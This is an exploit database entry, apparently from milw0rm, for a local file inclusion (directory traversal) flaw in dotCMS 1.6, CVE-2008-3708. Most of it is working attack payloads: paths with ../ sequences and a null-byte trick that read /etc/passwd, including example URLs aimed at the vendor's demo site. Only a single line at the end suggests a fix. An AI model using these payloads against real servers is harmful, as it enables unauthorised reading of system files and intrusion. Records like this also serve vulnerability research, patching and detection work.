title author type platform port cve id

dotCMS 1.6 - 'id' Local File Inclusion

Author: Don
type: webapps
platform: php
port: 0
date_added: 2008-08-14
date_updated: 2016-12-20
verified: 1
codes: OSVDB-47549;CVE-2008-3708;OSVDB-47548
tags: 
aliases: 
screenshot_url: 
application_url: 

++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ script:dotCMS
+ home: http://www.dotcms.org
+ demo: http://www.dotcms.org/the_dotcms/demos/demo.dot
+ founder: Don of h4cky0u.org
+ Vulnerability: Directory traversal
++++++++++++++++++++++++++++++++++++++++++++++++++++++

exploit:
/index.dot?id=../../../../../../../../etc/passwd%00.jpg
/macros/macros_detail.dot?id=../../../../../../../../etc/passwd%00.html

example:
http://demo.dotcms.org/news/index.dot?id=../../../../../../../../etc/passwd%00.jpg
http://demo.dotcms.org/getting_started/macros/macros_detail.dot?id=../../../../../../../../etc/passwd%00.html

solution:
Script should filter meta characters from user input.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2008-08-15]
↑